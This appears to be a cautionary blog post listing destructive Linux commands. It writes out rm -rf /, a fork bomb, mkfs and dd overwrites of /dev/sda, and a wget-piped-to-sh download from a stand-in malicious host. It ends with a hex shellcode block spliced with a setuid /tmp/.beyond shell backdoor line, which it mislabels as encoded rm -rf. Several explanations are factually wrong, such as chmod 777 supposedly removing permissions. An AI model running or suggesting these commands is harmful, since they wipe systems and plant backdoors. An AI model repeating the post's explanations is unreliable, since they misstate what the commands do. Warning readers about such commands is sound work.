Top Dangerous & Destructive Linux Commands

All of these commands are harmful to you. So use at your own risk. This is only for learning purposes. 

1. rm -rf /

After executing this command, all the root directories will be removed. But if you are not the root user then it does not work. Your boot and server-related data have also been removed. So you will not be able to boot your computer or server and data recovery also becomes hard.

Command Explanation: rm -rf /

2. chmod -R 777 /

After executing this command, all the permissions (read, write, execute) of root directories will be removed. So the operating system can’t access the boot file.

Command Explanation: chmod -R 777 /

3. mv folder /dev/null

Normally mv command is used to move a file/folder to another directory or rename any file. But if any file/folder is moved to /dev/null, also known as the black hole, directory, the file will be lost.

4. Fork Bomb Command

The main syntax of the fork bomb command is :(){ :|:& };:

This type of command creates a recursive function that spawns processes until the system is overwhelmed. After this command is executed it is going to exhaust all resources in your server which will lead complete shutdown.

5. mkfs.ext3 /dev/sda

The mkfs command is used to create a new file system on the specified device. Anything typed after mkfs will be formatted and replaced with an empty Linux file system. After executing this command, the system will be halted.

6. wget http://malicious_source -O- | sh

The wget command is used to download any file from the web through the command line environment. After executing this command, a malicious file will be downloaded and executed. It infects the system with a virus or malware.

7. Overwrite Configuration File

A configuration file is important to run a program or system. The > operator is used to overwrite a file. Using this operator to write a file, the file data will be removed, and replace the content of the file with new data.

The syntax of this command is command > configuration_file.

8. Replace partition with garbage data

The /dev/random is one command in Linux that can create garbage data. Theddcommand is used to write data on physical drives and to transfer various files at a low level, if the dd command is not used correctly, it will destroy the contents of the hard drive.

The dd if=/dev/random of=/dev/sda command replaces partition data with garbage data.

9. Disguised commands

There are many ways you can run commands in a Linux terminal. One such way is the hex-coded commands.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

While it looks fancy, this is a coded version of rm -rf command. It does the same effect as running the previous command. So, while copying and pasting such fancy commands from the internet, be cautious.


Post a Comment

0 Comments